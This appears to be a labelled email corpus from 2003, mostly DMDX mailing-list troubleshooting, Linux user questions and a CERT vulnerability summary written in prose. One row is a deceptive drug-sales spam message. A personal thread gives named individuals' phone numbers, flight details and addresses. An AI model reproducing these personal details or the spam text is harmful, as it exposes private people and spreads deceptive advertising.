3000 and a note to avoid Dell Latitude. Any other comments on >what I should be looking out for would be great. > >Thanks, > >Nicholas Gibson > >-- >Psychology and Religion Research Programme >Faculty of Divinity, University of Cambridge >West Road, Cambridge, CB3 9BS, UK > >phone/fax: +44 1223 763010/763003 >http://www.divinity.cam.ac.uk/pcp/ > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** ",0,1 Stuart Bell ,DMDX@psy1.psych.arizona.edu,"Wed, 28 May 2003 18:51:21 +0100",[DMDX] RE: What laptop to buy?,"Nicholas Gibson wrote: > Can anybody give any advice on suitable laptops for using DMDX? A > search in the list archives produced a two year old recommendation > for the Dell Inspiron 3000 and a note to avoid Dell Latitude. Just a quick note to say that avoiding Dell Latitudes is still good advice if my 2.5 year-old CPx-H500, and a colleague's 0.5 year-old Latitude (unknown model) are anything to go by... The particularly weird thing about both of these was that the millisecond timer test was giving odd results in both cases: On mine, the timer test was giving an average of about 1.2ms, and with a very large standard deviation (about 0.8-0.9 msec). After making sure that a BIOS upgrade didn't fix the problem, Dell replaced the motherboard (including CPU), but the problem persisted. Since the motherboard was replaced a 2nd time, it's worked fine... Similarly, the more recent Latitude that I've seen also gives standard deviations that are larger than ideal (though not quite so extreme, and the mean is 1.0msec). Hope that helps, Stuart. -- Stuart Bell Trinity College & Department of Experimental Psychology University of Cambridge (UK) ",0,0 James Colby Kraybill ,linuxusers@celestial.Berkeley.EDU,"Wed, 28 May 2003 15:41:34 -0700",In case you've missed this...," SCO (which used to be Santa Cruz Operation) is now based in Utah and eventually ended up buying the UNIX name from Novell (Novell bought it from AT&T). Over the last few months, SCO has been sending out threatening letters to Linux distributors, claiming that some code from Unix SysV (what Solaris 2.x, AIX, HP-UX, IRIX are based on) has ended up in Linux (Linux is also very SysVish in appearance). Here's what the CEO of Novell has to say about the matter: http://www.theinquirer.net/?article=9724 ... CEO Jack Messman wrote that to his company's knowledge, SCO buying Unix from Novelll did not transfer the associated copyrights. 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Follow this link If you would rather not receive messages such as this one. ehrdpoxpfexb fatdk itrqjp iuwi scidxbjszummubmy oolacqkof pviky",1,0 Vanessa Shokeir ,DMDX@psy1.psych.arizona.edu,"Tue, 03 Jun 2003 00:20:38 -0400",[DMDX] Audio Input,"Hello, I am trying to develop a picture naming experiment, but I am having measuring the reaction time using audio input. I have the following parameter line: If I run the experiment, the speakers response is recorded, but the timing clock does not turn off when audio input is given. I have tried using a parameter but it does not affect how the experiment runs. Is there a number for the parameter.? The naming program posted on the site http://www.mrc-cbu.cam.ac.uk/Language/DMDX/paradigms/parad15.html does not include a parameter, so I'm not sure if it is helpful. Thank you for your help, Vanessa Psycholinguistics Lab Linguistics Dept University of Toronto _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail",0,1 Edelyn Verona ,DMDX@psy1.psych.arizona.edu,"Tue, 03 Jun 2003 09:34:41 -0400",[DMDX] Re: Audio Input,"Vanessa, I had the same problem. Even though your record vocal is working, try putting time parameters (start and end of record) for id record vocal, like below. Somehow that worked for me. d59 f1 At 12:20 AM 6/3/03 -0400, you wrote: >Hello, > >I am trying to develop a picture naming experiment, but I am having >measuring the reaction time using audio input. I have the following >parameter line: > RecordVocal> > > >If I run the experiment, the speakers response is recorded, but the >timing clock does not turn off when audio input is given. I have tried >using a parameter but it does not affect how the experiment >runs. Is there a number for the parameter.? The naming program >posted on the site >http://www.mrc-cbu.cam.ac.uk/Language/DMDX/paradigms/parad15.html does not >include a parameter, so I'm not sure if it is helpful. > >Thank you for your help, >Vanessa > >Psycholinguistics Lab >Linguistics Dept >University of Toronto > >_________________________________________________________________ >Add photos to your messages with MSN 8. Get 2 months FREE*. >http://join.msn.com/?page=features/featuredemail > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ~~~~~~~~~~~~~~~~~~~~~~~~~~ Edelyn Verona, Ph.D. Department of Psychology Kent State University Kent, OH 44242 Office: 330-672-2543 Lab: 330-672-9738 Fax: 330-672-3786 email: everona@kent.edu ~~~~~~~~~~~~~~~~~~~~~~~~~~~",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 03 Jun 2003 12:17:39 -0700",[DMDX] Re: Audio Input,"At 12:20 AM 6/3/2003 -0400, you wrote: >Hello, > >I am trying to develop a picture naming experiment, but I am having >measuring the reaction time using audio input. I have the following >parameter line: > RecordVocal> > > >If I run the experiment, the speakers response is recorded, but the >timing clock does not turn off when audio input is given. I have tried >using a parameter but it does not affect how the experiment >runs. Is there a number for the parameter.? The naming program >posted on the site >http://www.mrc-cbu.cam.ac.uk/Language/DMDX/paradigms/parad15.html does not >include a parameter, so I'm not sure if it is helpful. From the help: The redesigned RecordVocal device introduced in version 3.0.0.09 can now use two parameters. When used without any parameters it runs in legacy mode where it records vocalizations for the entire timeout period. Parameter N1 if used changes the length of data recorded to be N1 milliseconds longer than the trigger provided by the DigitalVox device. Currently DMDX only records extra data for approximately the period specified. The last parameter N2 determines how much overrun protection DMDX allows and is by default 50ms -- I don't expect anyone will ever have to use this but for completeness I include it. If you want RecordVocal to run in legacy mode but need to lengthen the overrun protection specify N1 as zero. The new RecordVocal code can also be aborted with the Abort key. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ According to the obituary notices, a mean and unimportant person never dies.",0,1 CERT Advisory ,cert-advisory@cert.org,"Tue, 03 Jun 2003 15:57:29 -0400",CERT Summary CS-2003-02," -----BEGIN PGP SIGNED MESSAGE----- CERT Summary CS-2003-02 June 3, 2003 Each quarter, the CERT Coordination Center (CERT/CC) issues the CERT Summary to draw attention to the types of attacks reported to our incident response team, as well as other noteworthy incident and vulnerability information. The summary includes pointers to sources of information for dealing with the problems. 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Integer overflow in Sun RPC XDR library routines An integer overflow vulnerability exists in the xdrmem_getbytes() function distributed as part of the Sun Microsystems XDR library. This overflow may allow a remote attacker to execute arbitrary code on the victim machine. CERT Advisory CA-2003-10: Integer overflow in Sun RPC XDR library routines http://www.cert.org/advisories/CA-2003-10.html Vulnerability Note VU#516825: Integer overflow in Sun RPC XDR library routines http://www.kb.cert.org/vuls/id/516825 2. Multiple Vulnerabilities in Lotus Notes and Domino Multiple vulnerabilities had been reported to affect Lotus Notes clients and Domino servers. Due to the confusion surrounding these vulnerabilities we released an advisory to clairfy the details of the vulnerabilities, the versions affected, and the patches that resolve these issues. CERT Advisory CA-2003-11: Multiple Vulnerabilities in Lotus Notes and Domino http://www.cert.org/advisories/CA-2003-11.html Vulnerability Note VU#206361: Lotus iNotes vulnerable to buffer overflow via PresetFields FolderName field http://www.kb.cert.org/vuls/id/206361 Vulnerability Note VU#355169: Lotus Domino Web Server vulnerable to denial of service via incomplete POST request http://www.kb.cert.org/vuls/id/355169 Vulnerability Note VU#542873: Lotus iNotes vulnerable to buffer overflow via PresetFields s_ViewName field http://www.kb.cert.org/vuls/id/542873 Vulnerability Note VU#772817: Lotus Domino Web Server vulnerable to buffer overflow via non-existent ""h_SetReturnURL"" parameter with an overly long ""Host Header"" field http://www.kb.cert.org/vuls/id/772817 Vulnerability Note VU#571297: Lotus Notes and Domino COM Object Control Handler contains buffer overflow http://www.kb.cert.org/vuls/id/571297 Vulnerability Note VU#433489: Lotus Domino Server susceptible to a pre-authentication buffer overflow during Notes http://www.kb.cert.org/vuls/id/433489 Vulnerability Note VU#411489: Lotus Domino Web Retriever contains a buffer overflow vulnerability http://www.kb.cert.org/vuls/id/411489 Vulnerability Note VU#583184: Lotus Domino R5 Server Family contains multiple vulnerabilities in LDAP handling code http://www.kb.cert.org/vuls/id/583184 3. Buffer Overflow in Sendmail There is a remotely exploitable vulnerability in sendmail that could allow an attacker to gain control of a vulnerable sendmail server. Due to a variable type conversion problem, sendmail may not adequately check the length of email address tokens. A specially crafted email message could trigger a stack overflow. CERT Advisory CA-2003-12: Buffer Overflow in Sendmail http://www.cert.org/advisories/CA-2003-12.html Vulnerability Note VU#897604: Sendmail address parsing buffer overflow http://www.kb.cert.org/vuls/id/897604 4. Multiple Vulnerabilities in Snort Preprocessors There are two vulnerabilities in the Snort Intrusion Detection System, each in a separate preprocessor module. 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Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright �2003 Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPtz0zmjtSoHZUTs5AQGLYgQAq4zW2wa54HJUPWpho57bLIOlZ2PwwiQ1 NPU2SgRI1HlIHL2N3c+21VJ5IfA2DNpoZKlp0xFUI/oPaitMm+XgyyrFkAeMG23A bXFPchvtsDEQyl9um8C6eSd3gU/XGrNg3tBoBpdvj4WaiRs7/qmkNPPrfo/VB+HP nX2s9pdNJOA= =PnMK -----END PGP SIGNATURE----- ",0,1 soumitraa ganguly ,arnabn@rice.edu,"Wed, 04 Jun 2003 19:07:06 +0000",Re: Some Boston Help,"Hello again.. I hope you have received my previous mail. Pl let me know the kind of food you would prefer to have on Sunday night. -Mashi >From: ""Arnab Nandi"" >To: ""soumitraa ganguly"" >Subject: Re: Some Boston Help >Date: Sun, 8 Jun 2003 08:27:06 -0500 > >Hi Mashi, > >Ok I will send you a digital picture of mine soon and on the day I leave , I will take a picture of myself ( with the clothes I am wearing) and send it to you via email. >Also I have my cell phone, on landing we can communicate and figure out a meeting place at the airport. > > >Thank you so much. >Arnab > > ----- Original Message ----- > From: soumitraa ganguly > To: arnabn@rice.edu > Sent: Monday, May 19, 2003 8:02 AM > Subject: Re: Some Boston Help > > > Arnab > > Pl remind me on the 5th or 6th of June so that I don't forget to pick you up from the airport. And most of all how do I recognize you? > > -Mashi > > > > >From: ""Arnab Nandi"" > >To: ""soumitraa ganguly"" > >Subject: Re: Some Boston Help > >Date: Wed, 4 Jun 2003 09:44:13 -0500 > > > >Dear Mashie, > >This is Arnab again . How are you doing ? Everything here is fine . Packing up , moving things into storage and getting ready for Boston. I have found accommodation in Boston. I will be living in Emmanuel College (dorms) . I chose it over Boston University because it lies on the Green Line (Fenway) and my work place too is on the Green line (Newton) around 15 mins away or so I have been told. > > > >However I needed to ask you for 2 favors . Can you pick me up from the airport ? > >I will be arriving on the 8th of June (Sunday) > > > >My itinary is below ... > > > >Flight: AirTran Airways flight 292 (Non-Stop) > >Depart: Houston, TX Hobby (HOU) - Terminal Information Unavailable > >"" Sun, Jun 08 at 8:00am > >Arrive: Atlanta, GA (ATL) - NORTH TERMINAL > >"" Sun, Jun 08 at 10:53am > >Seat: Check in at Airport for Seat Assignment. (Boeing 717 Jet) > >Meal: No Meal Served > >Flight: AirTran Airways flight 280 (Non-Stop) > >Depart: Atlanta, GA (ATL) - NORTH TERMINAL > >"" Sun, Jun 08 at 1:03pm > >Arrive: Boston, MA (BOS) - TERMINAL D > >"" Sun, Jun 08 at 3:28pm > >Seat: Check in at Airport for Seat Assignment. (Boeing 717 Jet) > >Meal: No Meal Served > > > >I will be arriving at 3:30 (approx) . > > > >Will you be in town at this time or will you be free to pick me up ? > > > >My housing starts on the 9th of June ( Monday) > >So I was wondering if I could stay at your place for the night and then move in the next day ?? > > > >I now have a new cell phone number 832-545-1717 if you need to contact me at any time . > >What would be a good time for me to call you ? > > > > > >Thanking you, > >Arnab > > > > > > > > ----- Original Message ----- > > From: soumitraa ganguly > > To: arnabn@rice.edu > > Sent: Tuesday, April 22, 2003 8:35 PM > > Subject: Re: Some Boston Help > > > > > > Hi Arnab > > > > Nice to hear from you again. It's really hard for me to provide you with the information that you asked for b'coz we have not been using a lot of public transportation here. But I know very well that there is a subway running in Boston downtown and it is pretty well connected with all the places in and around boston. But I doubt if they have a connection with Newton. What you could do in that case is get down at the station nearest to your place and walk home or take the Newton city bus to your home... Let me still find out more information for you. > > > > All the public transportation information of Boston is available on www.mbta.com. Mass Bay Transportation Authority(MBTA) runs the subway and buses between all cities in and around Boston. > > > > --Mashi > > > > > > > > >From: ""Arnab Nandi"" > > >To: ""soumitraa ganguly"" > > >Subject: Some Boston Help > > >Date: Tue, 22 Apr 2003 18:49:43 -0500 > > > > > >Dear Mashie, > > > > > >My lack of Boston knowledge calls for your help once again. I have found out summer housing accommodation at Emmanuel College. This college is situated at > > >400 The Fenway > > >Boston, MA 02115 > > > > > >My work place is at > > >1163 Walnut Street > > >Newton, MA, 02461 > > > > > >On Mapquest ... it shows that the distance from here to my workplace is only 6 miles or so .. which is very close. > > > > > >But I wanted to know if you know or could find out if there was any form of public transportation from my college to near my work place (e.g. some bus or train line) ? Since I do not have a car this aspect is critical to me. > > > > > >It would be nice if you could let me know. > > > > > >How is everything else. As for me things look brighter as the semester comes to a close. > > > > > >Thanks > > >Arnab > > > > > > > > > > > > > > >----- Original Message ----- > > > From: soumitraa ganguly > > > To: arnabn@rice.edu > > > Sent: Sunday, April 06, 2003 11:46 AM > > > Subject: Re: > > > > > > > > > Hi Arnab > > > > > > How r u? I am back from Florida and I am looking forward to meeting u soon. Please call me whenever convenient. Take care. > > > > > > -Soumitraa Mashi > > > > > > > > > > > > >From: ""Arnab Nandi"" > > > >To: ""soumitraa ganguly"" > > > >Subject: Re: > > > >Date: Mon, 31 Mar 2003 20:49:18 -0600 > > > > > > > >Hi Mashie, > > > >I will contact you once you get back to Boston. My phone number is 713-348-7540. Have a nice trip. > > > > > > > >Thanks > > > >Arnab > > > > > > > > ----- Original Message ----- > > > > From: soumitraa ganguly > > > > To: arnabn@rice.edu > > > > Sent: Monday, March 31, 2003 10:17 AM > > > > Subject: Re: > > > > > > > > > > > > Absolutely Arnab!! I have heard a lot abt u and would love to meet u. Currently I am in Florida, but will get back to town on Wed. I will write everything in detail after I get back. My phone no is 781-275-1340. Pl call. Do send me ur no too. Bye and take care.---Mashi. > > > > > > > > > > > > > > > > >From: ""Arnab Nandi"" > > > > >To: > > > > >Date: Sun, 30 Mar 2003 02:41:21 -0600 > > > > > > > > > >Dear Mashi, > > > > >Let me introduce myself. My name is Arnab Nandi. I am Rajunathda's and Debjanidi's nephew. You'll are family friends, I am told They referred me to you. I am currently studying at Rice University (a university in Houston Texas). This is my first year of undergraduate study in the US. The coming summer I will be interning in Boston (actually in a suburb of Boston, Newton). I will be spending 2 months there from June through till August. Debjani Mashi told me you live in Boston and hence I was contacting you to get to know some people in the same city. I do not know many people in the east coast and hence was looking to build some contacts in and around Boston. It would be of great pleasure to get to know you. I am not familiar with Boston and so would also like to be able to seek your help with some aspects of the city. > > > > > > > > > >Hope you can help me. > > > > >Thanks > > > > >Arnab Nandi > > > > >Martel College > > > > >Rice University > > > > >99 Sunset Boulevard, > > > > >Houston, Texas 77005 > > > > >www.owlnet.rice.edu/~arnabn > > > > >713-348-7540 > > > > > > > > > > > >------------------------------------------------------------------------------ > > > > Help STOP SPAM with the new MSN 8 and get 2 months FREE* > > > > > > > > >------------------------------------------------------------------------------ > > > Help STOP SPAM with the new MSN 8 and get 2 months FREE* > > > > > >------------------------------------------------------------------------------ > > MSN 8 with e-mail virus protection service: 2 months FREE* > > >------------------------------------------------------------------------------ > STOP MORE SPAM with the new MSN 8 and get 2 months FREE* The new MSN 8: smart spam protection and 2 months FREE*",0,1 Jessica Shaw ,Arnab Nandi ,"Wed, 04 Jun 2003 15:53:30 -0400",Re: Summer Housing,"I will be out of the office until Monday, June 9th. If you need immediate assistance, please call the office of Student Activities at 617-735-9963 or Residence Life at 617-735-9746. Thanks! Jess ",0,0 Arturo Kiyama ,DMDX@psy1.psych.arizona.edu,"Thu, 05 Jun 2003 14:15:04 -0400",[DMDX] Chinese characters revisted,"What does DmDx depend on to be able to display the proper characters? The Chinese characters display fine on Windows 2000 computers with Office 2000, but not in Windows 98 with Office 97. What is it about Windows 2000? and how can I have DmDx display the proper characters in Windows 98? Thank you. Arturo Kiyama Graduate Assistant Montclair State University Department of Psychology Dickson Building - 260 1 Normal Avenue Upper Montclair, NJ 07043 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 05 Jun 2003 15:09:20 -0700",[DMDX] Re: Chinese characters revisted,"At 02:15 PM 6/5/2003 -0400, you wrote: >What does DmDx depend on to be able to display the proper characters? >The Chinese characters display fine on Windows 2000 computers with >Office 2000, but not in Windows 98 with Office 97. What is it about >Windows 2000? and how can I have DmDx display the proper characters in >Windows 98? Thank you. Who knows, we sure don't. It's not a question of what DMDX needs, it's a question of what Windows needs, more to the point the GDI component of Windows. All DMDX sees is a string in an item file and a request to render it in a particular font which it passes off to GDI and says render it. With the advent of 2000 they re-wrote all the display code and made it Unicode aware and by and large made it work properly which is why we say use 2k or XP for non-Roman fonts. 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In the morning we can do:- Current Status: -Tables and table czars -mysql file sizes -list of czars- comments and status from each We have Jon's page:- http://www.hep.umn.edu/~urheim/status_index.html is there work in the short term here? -Updates via DBMauto -had been using CVS based scripts -dbmauto automatically -distributes new data -installs and checksums -status; dbm works now, cvs is turned off I can summarise where we are and the work that needs to be done. There are long term support issues that should be touched on. In the afternoon we talk to FNALCD:- Here I see all of your topics:- Overview of Minos database system: -Data Warehouse at FNAL -Local Installations -Access via DBI/RDBC -Updates via DBM Current Status: -Warehouse at FNAL -Oracle -size (?) -connections required (??) -table conversions -Local Installations -Mysql, postgres?? -Database comparisons page -currently have xx local installations -Access via DBI/RDBC -user API is simple -caches -validities and overlaps -chain of data sources -status; ok for mysql, testing for oracle, ?? for postgres -usability: development work can be verrrryyyyy slow... as a way to provide a context for our discussions with CD so don't need detailed coverage. Will you summarise? I see the main topic being the appropriate choice of technology. I have raised with Liz and Dennis the fundamental question of whether an SQL database is really what we need for detector configuration. I tried to summarise my unease this way:- I cannot find any convincing argument that we are doing the right thing when it comes to providing context sensitive detector data. We have a multi-layer database set of libraries that are hard to install (at least getting combinations that play nicely together) and work reliably. What does all this pain buy us? Performance that is frankly appalling. Its my fault as much as anyone's'. When we started this I just timed MySQL getting many rows from a large table and it looked good enough. But when we layer on the other DB software, and then turn the rows into objects and convert, in some cases, millions of string into floating point numbers it all gets very slow. Liz asked me to be more specific so I replied:- I think we can keep this very simple by just looking at one extreme case: CALNONLINEARITY. The data consists of 40 floating point numbers and there is ~186000 rows. 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Hopefully they should already be primed with an answer to this, and assuming they come up with a convincing answer that an SQL database is the answer we could get into discussions on what our strategy should be. As I said in my mail to you the other day, my primary concerns are- 1) Robustness 2) Performance for large simple queries 3) Long term support throughout the collaboration. We have to consider a time frame of at least ~ 10 years and that we know that our choice technology will remain driven to use commodity computing. We could start with Brett's point about RH 9 support. Liz has also given us:- http://www-css.fnal.gov/dsg/external/freeware/index.html Cheers, Nick. ",0,1 Joshua ,"joni@XXXXXXXX.XXXXXXX.XXX, hannah@XXXXXXXX.XXXXXXX.XXX, michele@XXXXXXXX.XXXXXXX.XXX, kathy@XXXXXXXX.XXXXXXX.XXX","Sun, 07 May 2000 10:52:39 +0100",You can save up to 70% on Cialis Bettie ,"You don't need to talk to a doctor to get the sexual help that you need. Have a look here. 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",DMDX@psy1.psych.arizona.edu,"Mon, 16 Jun 2003 08:37:15 -0700",[DMDX] Re: DMDX in Windows2003.,"At 08:09 PM 6/16/2003 +0800, you wrote: >Hello all: > Yesterday I install windows2003(Enterprise) on my computer, and I > think it's >good operation system. But when I run DMDX's TimeDX to test the refresh >rate it >give me a error message:""DirectX reports no support for Page Flipping. The >video >card in this machine is not adequate for DMDX's purpose."" Why? Expecting >your kind >reply. Because the video drivers that ship with that version of windows aren't made for playing games. Typically if you install a server version of Windows Microsoft expect you to be using it as a server ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Fourth Law of Revision: It is usually impractical to worry beforehand about interferences -- if you have none, someone will make one for you. ",0,0 Greg Kannerstein ,sgriswol@haverford.edu,"Mon, 16 Jun 2003 12:51:04 -0400",WHO'S UP (Mostly Haverford) and WHO'S DOWN IN LACROSSE WORLD,"No sport watches teams' improvements and declin *** MESSAGE TRUNCATED *** ",0,0 woodi ,DMDX@psy1.psych.arizona.edu,"Mon, 16 Jun 2003 12:45:54 -0500",[DMDX] Re: DMDX in Windows2003.,"Hi, Does any one knows whether DMDX can be used in Windows NT? Best, Di At 08:37 2003-6-16 -0700, you wrote: >At 08:09 PM 6/16/2003 +0800, you wrote: >>Hello all: >> Yesterday I install windows2003(Enterprise) on my computer, and I >> think it's >>good operation system. But when I run DMDX's TimeDX to test the refresh >>rate it >>give me a error message:""DirectX reports no support for Page Flipping. >>The video >>card in this machine is not adequate for DMDX's purpose."" Why? Expecting >>your kind >>reply. > > Because the video drivers that ship with that version of windows aren't > made for playing games. Typically if you install a server version of > Windows Microsoft expect you to be using it as a server ;) > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >Fourth Law of Revision: > It is usually impractical to worry beforehand about >interferences -- if you have none, someone will make one for you. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 16 Jun 2003 16:39:41 -0700",[DMDX] Re: DMDX in Windows2003.,"At 12:45 PM 6/16/2003 -0500, you wrote: >Hi, >Does any one knows whether DMDX can be used in Windows NT? NT doesn't have anything higher than DirectX 3 where as parts of DMDX require at least DX 5 so we'd be impressed if it did work. The parts that need DX 5 are relatively trivial but I'm not about to cut a special version of DMDX just for NT. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I doubt, therefore I might be. ",0,0 Marshall Perrin ,linuxusers@astron.Berkeley.EDU,"Wed, 18 Jun 2003 19:30:04 -0700",preferred pc vendors?," Anyone have any recommendations for desktop computer vendors these days? I'm in the market for a linux box to replace the ultra 10 on my desk - I'm thinking something dual cpu and 2 GB RAM or thereabouts... Is it worth talking to the Scholar's Workstation campus store folks for good deals? - Marshall ",0,0 James Colby Kraybill ,Marshall Perrin ,"Wed, 18 Jun 2003 19:41:45 -0700",Re: preferred pc vendors?," I've rarely seen good deals on the tsw site for generic PC's. Usually they are a few months behind the deals directly from the vendors. So far, I've ordered two refurbished dell's and they have been working just fine. One arrived three months ago. The other last month. And the prices were extremely good. Both are heavily used. So, I recommend taking a look at the refurbed dells. - Colby --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley On Wed, 18 Jun 2003, Marshall Perrin wrote: > > Anyone have any recommendations for desktop computer vendors these days? > I'm in the market for a linux box to replace the ultra 10 on my desk - > I'm thinking something dual cpu and 2 GB RAM or thereabouts... Is it > worth talking to the Scholar's Workstation campus store folks for good > deals? > > - Marshall > ",0,0 James Colby Kraybill ,Marshall Perrin ,"Wed, 18 Jun 2003 19:43:13 -0700",Re: preferred pc vendors?," Also, you can get the same $99 -> three year parts replacement warranty for the refurbs that you get for newly minted dells. --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley On Wed, 18 Jun 2003, Marshall Perrin wrote: > > Anyone have any recommendations for desktop computer vendors these days? > I'm in the market for a linux box to replace the ultra 10 on my desk - > I'm thinking something dual cpu and 2 GB RAM or thereabouts... Is it > worth talking to the Scholar's Workstation campus store folks for good > deals? > > - Marshall > ",0,0 Robert Fisher ,James Colby Kraybill ,"Wed, 18 Jun 2003 20:29:07 -0700",Re: preferred pc vendors?,"Marshall : One of the best set of vendor prices I have seen is Monarch Computers (http://www.monarchcomputer.com). Although I have not personally purhcased from them, they will custom-build machines for prices which match the the best prices on all individual components, and throw in a year warranty at no additional cost. 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Using the latest version of DMDX, and Windows 98SE, Time DX recognises the card, and allows sound files to be played out on it. However, sound recording using RecordVocal still appears to use the onboard sound card. Is there any way of setting DMDX to use the external card for recording as well as playback? Thanks, Gareth Gaskell ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Jun 2003 10:40:07 -0700",[DMDX] Re: recording on USB sound card,"At 11:34 AM 6/24/2003 +0100, you wrote: >Hi, > >in an attempt to improve recording quality on my laptop, I've added a USB >Soundblaster Extigy card. Using the latest version of DMDX, and Windows >98SE, Time DX recognises the card, and allows sound files to be played out >on it. However, sound recording using RecordVocal still appears to use the >onboard sound card. Is there any way of setting DMDX to use the external >card for recording as well as playback? Having just dived into the code the answer is no. Should be yes, but it's no. I'd have enumerate another whole class of drivers like I do for the DirectDraw and DirectSound devices which is obviously why I never did it when developing all the capture stuff. Must've plain spaced going back and adding all the device selection stuff. Unfortunately I'm in the middle of a rather time constrained project at the moment and don't have the time to spend adding a whole new dimension the device selection code so it'll be a while before I can add it, sorry. If the time constrained people decide they aren't so time constrained you might get it soon but otherwise it'll be weeks before I have time to do this. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Knowledge is knowing that you don't know. ",0,0 d.d.potter@dundee.ac.uk,DMDX@psy1.psych.arizona.edu,"Tue, 24 Jun 2003 18:44:46 +0000",[DMDX] Re: recording on USB sound card,"I will be away until 15th july ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Jun 2003 14:37:14 -0700",[DMDX] time criticality not so," Looks like I've time to address the Direct Sound Capture device selection so we might see something sooner rather than later. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Knowledge is knowing that you don't know. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Jun 2003 16:00:15 -0700",[DMDX] DMDX 3.0.2.0 and TimeDX 3.1.00," Ok, I think that's everything needed to allow non-default Direct Sound Capture device selection. Fortunately I have two sound cards in the development machine and was able to test this easily otherwise I'd still be at it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Knowledge is knowing that you don't know. ",0,0 Zodiac Webster ,linuxusers@astron.Berkeley.EDU,"Thu, 26 Jun 2003 13:51:03 -0700",rh linux 8.0 help,"Hi Berkeley Linux Users, I am having trouble getting a linux RH8 box to open windows up using ssh. The main purpose is to have a student log in to terminal A, ssh to terminal B and bring windows from terminal B over to show up on terminal A. This usually works seemlessly with ssh. The true test that something is broken is that when i ssh from terminal A to terminal A, I get the same error message and no windows pop up. This is not true when I do B to B. I compiled ssh from ssh.com and the same version is on both computers. The 8.0 box is running something called ssh-agent whenever you log in. When I kill off that process, the user is unceremoniously logged out. I can't seem to locate where that process is started, nor why it is not configured correctly... What is this process and how can I stop it from running at login? First diagnostic: I can make windows on A pop up on A if I (under tcsh) setenv DISPLAY :0.0 after the ssh login Why isn't the DISPLAY environment getting set automatically? Where does this get set normally? Second: If I ssh to B from A and then setenv DISPLAY to IPaddress:0.0 the error message is approximately, cannot open display. I suspect there is some other way to specify the display when ssh is used, but it IS SUPPOSED TO BE AUTOMATIC! and it was on 7.3 (default factory install!). Invoking ssh with the -X flag does not fix the problem. zo former of berkeley, still a linux user ps - I can't install rh 7.3 on the problematic machine since it is not my machine. -- Zodiac Webster zwebster@csusb.edu Assistant Professor Department of Physics CSU, San Bernardino 909-880-7593 ",0,0 Zodiac Webster ,Kelley McDonald ,"Thu, 26 Jun 2003 14:18:21 -0700",Re: rh linux 8.0 help,"I'm pretty sure the ssh2 is the one I built. I think I removed the old executable to be sure. I will double check though. Why isn't a DISPLAY variable being set? I don't understand why there isn't a variable already defined in tcsh and why the ssh isn't taking care of re-setting it when I log in. Thanks for your thoughts. Our campus is closed on Fridays (no air conditioning plus 100+ temperatures = noone comes to work!) and I've got to run off now. I'll try out more stuff on Monday. zo -- Zodiac Webster zwebster@csusb.edu Assistant Professor Department of Physics CSU, San Bernardino 909-880-7593 ",0,0 James Colby Kraybill ,Zodiac Webster ,"Thu, 26 Jun 2003 15:15:28 -0700",Re: rh linux 8.0 help," This is only automatic if both the host from which you are running ssh has it either configured in the /etc/ssh[2]/ssh_config file or you specify -X or +x on the command line AND the target machine is configured to allow X11 tunneling in its configuration file, /etc/ssh[2]/sshd_config The commercial version of ssh that you have compiled uses the syntax +x instead of -X, so try that first. - Colby --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley On Thu, 26 Jun 2003, Zodiac Webster wrote: > Hi Berkeley Linux Users, > > I am having trouble getting a linux RH8 box to open windows up using > ssh. The main purpose is to have a student log in to terminal A, ssh > to terminal B and bring windows from terminal B over to show up on > terminal A. This usually works seemlessly with ssh. The true test > that something is broken is that when i ssh from terminal A to > terminal A, I get the same error message and no windows pop up. This > is not true when I do B to B. > > I compiled ssh from ssh.com and the same version is on both > computers. The 8.0 box is running something called ssh-agent whenever > you log in. When I kill off that process, the user is > unceremoniously logged out. I can't seem to locate where that > process is started, nor why it is not configured correctly... What is > this process and how can I stop it from running at login? > > First diagnostic: I can make windows on A pop up on A if I (under tcsh) > setenv DISPLAY :0.0 > after the ssh login > Why isn't the 